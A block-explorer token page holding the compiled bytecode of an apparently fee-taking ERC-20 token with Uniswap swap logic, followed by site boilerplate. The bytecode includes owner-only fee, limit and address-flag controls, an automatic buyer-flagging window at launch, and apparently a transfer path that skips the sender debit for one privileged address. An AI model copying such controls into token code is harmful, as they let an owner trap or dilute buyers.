f565b348015610b2157600080fd5b506104da610b3036600461257e565b611895565b60085481565b606060018054610b4a90612ba7565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7690612ba7565b8015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b5050505050905090565b6000610be1610bda6119a2565b84846119a6565b5060015b92915050565b601b5481565b601e546001600160a01b031681565b601a5490565b610c0e6119a2565b6000546001600160a01b03908116911614610c445760405162461bcd60e51b8152600401610c3b90612a07565b60405180910390fd5b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b610c776119a2565b6000546001600160a01b03908116911614610ca45760405162461bcd60e51b8152600401610c3b90612a07565b601183905560128290556013819055610cc781610cc185856118ec565b906118ec565b601855505050565b6000610cdc848484611a5a565b50610d4d84610ce96119a2565b610d4885604051806060016040528060288152602001612c29602891396001600160a01b038a16600090815260066020526040812090610d276119a2565b6001600160a01b031681526020810191909152604001600020549190611dbf565b6119a6565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b610d846119a2565b6000546001600160a01b03908116911614610db15760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610e13610e0a7f000000000000000000000000000000000000000000000000000000000000dead6111c1565b601a5490611df9565b905090565b60035460ff1690565b6000610be1610e2e6119a2565b84610d488560066000610e3f6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906118ec565b610e776119a2565b6000546001600160a01b03908116911614610ea45760405162461bcd60e51b8152600401610c3b90612a07565b601d55565b610eb16119a2565b6000546001600160a01b03908116911614610ede5760405162461bcd60e51b8152600401610c3b90612a07565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b60035461010090046001600160a01b031681565b600c6020526000908152604090205460ff1681565b600a6020526000908152604090205460ff1681565b601f54600160a81b900460ff1681565b610f526119a2565b6000546001600160a01b03908116911614610f7f5760405162461bcd60e51b8152600401610c3b90612a07565b60c98210610f8c57600080fd5b60005b82811015611009578160096000868685818110610fbc57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610fd1919061257e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561100281612be2565b9050610f8f565b50505050565b600b6020526000908152604090205460ff1681565b60145481565b6110326119a2565b6000546001600160a01b0390811691161461105f5760405162461bcd60e51b8152600401610c3b90612a07565b600e839055600f829055601081905561107c81610cc185856118ec565b601755505050565b601f54600160b81b900460ff1681565b60155481565b6110a26119a2565b6000546001600160a01b039081169116146110cf5760405162461bcd60e51b8152600401610c3b90612a07565b6107d182106110dd57600080fd5b60006110e98383612b71565b9050806110f5336111c1565b101561110057600080fd5b60005b8381101561115d5761114a3386868481811061112f57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190611144919061257e565b85611e3b565b508061115581612be2565b915050611103565b5050505050565b61116c6119a2565b6000546001600160a01b039081169116146111995760405162461bcd60e51b8152600401610c3b90612a07565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b0381166000908152600560205260409020545b919050565b6111e86119a2565b6000546001600160a01b039081169116146112155760405162461bcd60e51b8152600401610c3b90612a07565b60085543600755565b6001600160a01b03166000908152600d602052604090205460ff1690565b60185481565b61124a6119a2565b6000546001600160a01b039081169116146112775760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6112aa6119a2565b6000546001600160a01b039081169116146112d75760405162461bcd60e51b8152600401610c3b90612a07565b601b55565b60115481565b6112ea6119a2565b6000546001600160a01b039081169116146113175760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b6113596119a2565b6000546001600160a01b039081169116146113865760405162461bcd60e51b8152600401610c3b90612a07565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6113de6119a2565b6000546001600160a01b0390811691161461140b5760405162461bcd60e51b8152600401610c3b90612a07565b6000600755565b606060028054610b4a90612ba7565b601c5481565b601d5490565b60195481565b61143b6119a2565b6000546001600160a01b039081169116146114685760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000610be16114a06119a2565b84610d4885604051806060016040528060258152602001612c5160259139600660006114ca6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611dbf565b6115036119a2565b6000546001600160a01b039081169116146115305760405162461bcd60e51b8152600401610c3b90612a07565b601c55565b60165481565b60096020526000908152604090205460ff1681565b6000610d4d61155d6119a2565b8484611a5a565b101590565b6115716119a2565b6000546001600160a01b0390811691161461159e5760405162461bcd60e51b8152600401610c3b90612a07565b60c982106115ab57600080fd5b60005b828110156110095781600d60008686858181106115db57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906115f0919061257e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561162181612be2565b90506115ae565b6116306119a2565b6000546001600160a01b0390811691161461165d5760405162461bcd60e51b8152600401610c3b90612a07565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b6116836119a2565b6000546001600160a01b039081169116146116b05760405162461bcd60e51b8152600401610c3b90612a07565b6014839055601582905560168190556116cd81610cc185856118ec565b601955505050565b60105481565b6116e36119a2565b6000546001600160a01b039081169116146117105760405162461bcd60e51b8152600401610c3b90612a07565b601f805460ff60a81b1916600160a81b831515021790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990611757908390612866565b60405180910390a150565b600f5481565b601f546001600160a01b031681565b60125481565b60135481565b60075481565b601f54600160b01b900460ff1681565b600e5481565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6004546001600160a01b031681565b60175481565b6117e76119a2565b6000546001600160a01b039081169116146118145760405162461bcd60e51b8152600401610c3b90612a07565b6001600160a01b03811661183a5760405162461bcd60e51b8152600401610c3b90612907565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61189d6119a2565b6000546001600160a01b039081169116146118ca5760405162461bcd60e51b8152600401610c3b90612a07565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000806118f98385612b39565b905083811015610d515760405162461bcd60e51b8152600401610c3b9061298f565b60008261192a57506000610be5565b60006119368385612b71565b9050826119438583612b51565b14610d515760405162461bcd60e51b8152600401610c3b906129c6565b6000610d5183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f1f565b3390565b6001600160a01b0383166119cc5760405162461bcd60e51b8152600401610c3b90612a81565b6001600160a01b0382166119f25760405162461bcd60e51b8152600401610c3b9061294d565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611a4d908590612ac5565b60405180910390a3505050565b60006001600160a01b038416611a825760405162461bcd60e51b8152600401610c3b90612a3c565b6001600160a01b038316611aa85760405162461bcd60e51b8152600401610c3b906128c4565b601f54600160a01b900460ff1615611acc57611ac5848484611e3b565b9050610d51565b6001600160a01b0384166000908152600b602052604090205460ff16158015611b0e57506001600160a01b0383166000908152600b602052604090205460ff16155b15611b2857611b1f82601b54611564565b611b2857600080fd5b6000611b33306111c1565b601d5490915081108015908190611b545750601f54600160a01b900460ff16155b8015611b7957506001600160a01b0386166000908152600c602052604090205460ff16155b8015611b8e5750601f54600160a81b900460ff165b15611bb457601f54600160b01b900460ff1615611bab57601d5491505b611bb482611f4d565b611bbe8686612088565b15611c2f576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611c15918690611dbf565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526009602052604081205460ff1680611c6e57506001600160a01b03861660009081526009602052604090205460ff165b15611c7a575083611cde565b600060075411611c8957600080fd5b611c9d4360085460075461097e9190612b39565b8015611cc257506001600160a01b0386166000908152600c602052604090205460ff16155b15611cd057611cd0866120c7565b611cdb878787612135565b90505b601f54600160b81b900460ff168015611d1057506001600160a01b0386166000908152600a602052604090205460ff16155b15611d3657611d2d611d2582610cc1896111c1565b601c54611564565b611d3657600080fd5b6001600160a01b038616600090815260056020526040902054611d5990826118ec565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611dab908590612ac5565b60405180910390a360019350505050610d51565b60008184841115611de35760405162461bcd60e51b8152600401610c3b9190612871565b506000611df08486612b90565b95945050505050565b6000610d5183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dbf565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611e8c918490611dbf565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611ebb90836118ec565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611f0d908690612ac5565b60405180910390a35060019392505050565b60008183611f405760405162461bcd60e51b8152600401610c3b9190612871565b506000611df08486612b51565b601f805460ff60a01b1916600160a01b179055601954601454600091611f8391600291611f7d918290879061191b565b90611960565b90506000611f918383611df9565b9050611f9c81612282565b6014544790600090611fbc90611fb3906002611960565b60195490611df9565b90506000611fde6002611f7d84611f7d6014548861191b90919063ffffffff16565b90506000611ffb83611f7d6016548761191b90919063ffffffff16565b905060006120138261200d8786611df9565b90611df9565b90508015612036576003546120369061010090046001600160a01b031682612440565b811561205257600454612052906001600160a01b031683612440565b6000831180156120625750600087115b1561207157612071878461247b565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610d5157506004546001600160a01b038481169116141580610d51575060009392505050565b6001600160a01b0381166000908152600d602052604090205460ff1615801561210957506001600160a01b0381166000908152600c602052604090205460ff16155b15612132576001600160a01b0381166000908152600d60205260409020805460ff191660011790555b50565b6001600160a01b0383166000908152600c6020526040812054819060ff1615612179576121726064611f7d6017548661191b90919063ffffffff16565b90506121b7565b6001600160a01b0384166000908152600c602052604090205460ff16156121b7576121b46064611f7d6018548661191b90919063ffffffff16565b90505b6001600160a01b0385166000908152600d602052604090205460ff1680156121f857506001600160a01b0385166000908152600c602052604090205460ff16155b156122005750815b8015612278573060009081526005602052604090205461222090826118ec565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061226f908590612ac5565b60405180910390a35b611df08382611df9565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122c557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561231957600080fd5b505afa15801561232d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612351919061259a565b8160018151811061237257634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601e5461239891309116846119a6565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906123d1908590600090869030904290600401612aef565b600060405180830381600087803b1580156123eb57600080fd5b505af11580156123ff573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612434929190612ace565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015612476573d6000803e3d6000fd5b505050565b601e546124939030906001600160a01b0316846119a6565b601e546004805460405163f305d71960e01b81526001600160a01b039384169363f305d7199386936124d39330938a93600093849392169142910161282b565b6060604051808303818588803b1580156124ec57600080fd5b505af1158015612500573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d91906127a7565b60008083601f840112612536578182fd5b50813567ffffffffffffffff81111561254d578182fd5b602083019150836020808302850101111561256757600080fd5b9250929050565b803580151581146111db57600080fd5b60006020828403121561258f578081fd5b8135610d5181612c13565b6000602082840312156125ab578081fd5b8151610d5181612c13565b600080604083850312156125c8578081fd5b82356125d381612c13565b915060208301356125e381612c13565b809150509250929050565b600080600060608486031215612602578081fd5b833561260d81612c13565b9250602084013561261d81612c13565b929592945050506040919091013590565b60008060408385031215612640578182fd5b823561264b81612c13565b91506126596020840161256e565b90509250929050565b60008060408385031215612674578182fd5b823561267f81612c13565b946020939093013593505050565b6000806000604084860312156126a1578283fd5b833567ffffffffffffffff8111156126b7578384fd5b6126c386828701612525565b90945092506126d690506020850161256e565b90509250925092565b6000806000604084860312156126f3578283fd5b833567ffffffffffffffff811115612709578384fd5b61271586828701612525565b909790965060209590950135949350505050565b60006020828403121561273a578081fd5b610d518261256e565b600060208284031215612754578081fd5b5035919050565b6000806040838503121561276d578182fd5b50508035926020909101359150565b600080600060608486031215612790578283fd5b505081359360208301359350604090920135919050565b6000806000606084860312156127bb578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b8381101561280c5781516001600160a01b0316875295820195908201906001016127e7565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b8181101561289d57858101830151858201604001528201612881565b818111156128ae5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600083825260406020830152612ae760408301846127d4565b949350505050565b600086825285602083015260a06040830152612b0e60a08301866127d4565b6001600160a01b0394909416606083015250608001529392505050565b60ff91909116815260200190565b60008219821115612b4c57612b4c612bfd565b500190565b600082612b6c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612b8b57612b8b612bfd565b500290565b600082821015612ba257612ba2612bfd565b500390565b600281046001821680612bbb57607f821691505b60208210811415612bdc57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612bf657612bf6612bfd565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461213257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220bf3759e3d3a3ba0ad9b109b302389690fa04d1e1568c5ac97008013f2869af3e64736f6c63430008000033
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.